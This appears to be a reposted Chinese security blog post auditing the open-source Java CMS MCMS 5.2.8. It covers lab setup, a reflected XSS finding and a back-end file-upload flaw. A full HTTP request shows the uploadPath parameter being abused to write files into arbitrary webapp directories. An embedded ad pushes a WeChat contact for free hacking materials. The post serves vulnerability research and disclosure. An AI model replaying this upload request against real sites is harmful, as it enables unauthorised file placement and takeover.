知方号

知方号

记一次MCMS的审计之路

记一次MCMS的审计之路

MCMS 是 J2EE 系统,完整开源的Java CMS,基于SpringBoot 2架构,前端基于vue、element ui。为开发者提供上百套免费模板,同时提供适用的插件(文章、商城、微信、论坛、会员、评论、支付、积分、工作流、任务调度等...),一套简单好用的开源系统、一整套优质的开源生态内容体系。

十天前 MCMS 更新了新的一版本 5.2.9 提示新版本进行了 SQL 安全方面的优化,所以我们尝试 审计 MCMS 5.2.8

环境搭建

我们下载好安装包后

利用 idea 打开项目

创建数据库 mcms,导入 doc/mcms-5.2.8.sql

修改 src/main/resources/application-dev.yml 中关于数据库设置参数

运行MSApplication.java main方法

利用账户名:密码 msopen:msopen 登录后台 http://localhost:8080/ms/login.do

进入后台点击内容管理->静态化菜单 -> 生成主页、生成栏目、生成文章

启动的时候会有一点小 bug 需要在 idea 中配置

运行成功后,页面如图所示

前台反射型 XSS漏洞复现

【----帮助网安学习,以下所有学习资料免费领!加vx:yj009991,备注 “博客园” 获取!】

① 网安学习成长路径思维导图② 60+网安经典常用工具包③ 100+SRC漏洞分析报告④ 150+网安攻防实战技术电子书⑤ 最权威CISSP 认证考试指南+题库⑥ 超1800页CTF实战技巧手册⑦ 最新网安大厂面试题合集(含答案)⑧ APP客户端安全检测指南(安卓+IOS)​

漏洞分析

我们看到运行后的控制台输出为

我们找到 net.mingsoft.basic.filter.XssHttpServletRequestWrapper 并添加断点,再次触发漏洞,看到一个完整的调用栈,

net.mingsoft.basic.filter.XssHttpServletRequestWrapper#clean(java.lang.String, java.lang.String)

后台命令执行一漏洞复现

后台有一个可以上传模板文件的位置

我们上传文件并抓取数据包

我们看到数据包中的参数 uploadPath 指定了上传的位置,最后返回了上传后的路径以及文件内容

通过修改 参数 uploadPath 的值,我们就可以将文件上传 webapp 的任意目录下

我们写一个 1.txt 进行验证

POST /ms/file/uploadTemplate.do HTTP/1.1Host: localhost:8080User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36Content-Length: 506Accept: */*Accept-Encoding: identityAccept-Language: zh-CN,zh;q=0.9Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryz3nUf5Hws24R3B3ACookie: Origin: http://localhost:8080Referer: http://localhost:8080/ms/template/list.do?template=1/defaultSec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: same-originsec-ch-ua: "Google Chrome";v="105", "Not)A;Brand";v="8", "Chromium";v="105"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"​------WebKitFormBoundaryz3nUf5Hws24R3B3AContent-Disposition: form-data; name="uploadPath"​/------WebKitFormBoundaryz3nUf5Hws24R3B3AContent-Disposition: form-data; name="uploadFloderPath"​true------WebKitFormBoundaryz3nUf5Hws24R3B3AContent-Disposition: form-data; name="rename"​false------WebKitFormBoundaryz3nUf5Hws24R3B3AContent-Disposition: form-data; name="file"; filename="1.txt"Content-Type: text/html​test------

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌抄袭侵权/违法违规的内容, 请发送邮件至lizi9903@foxmail.com举报,一经查实,本站将立刻删除。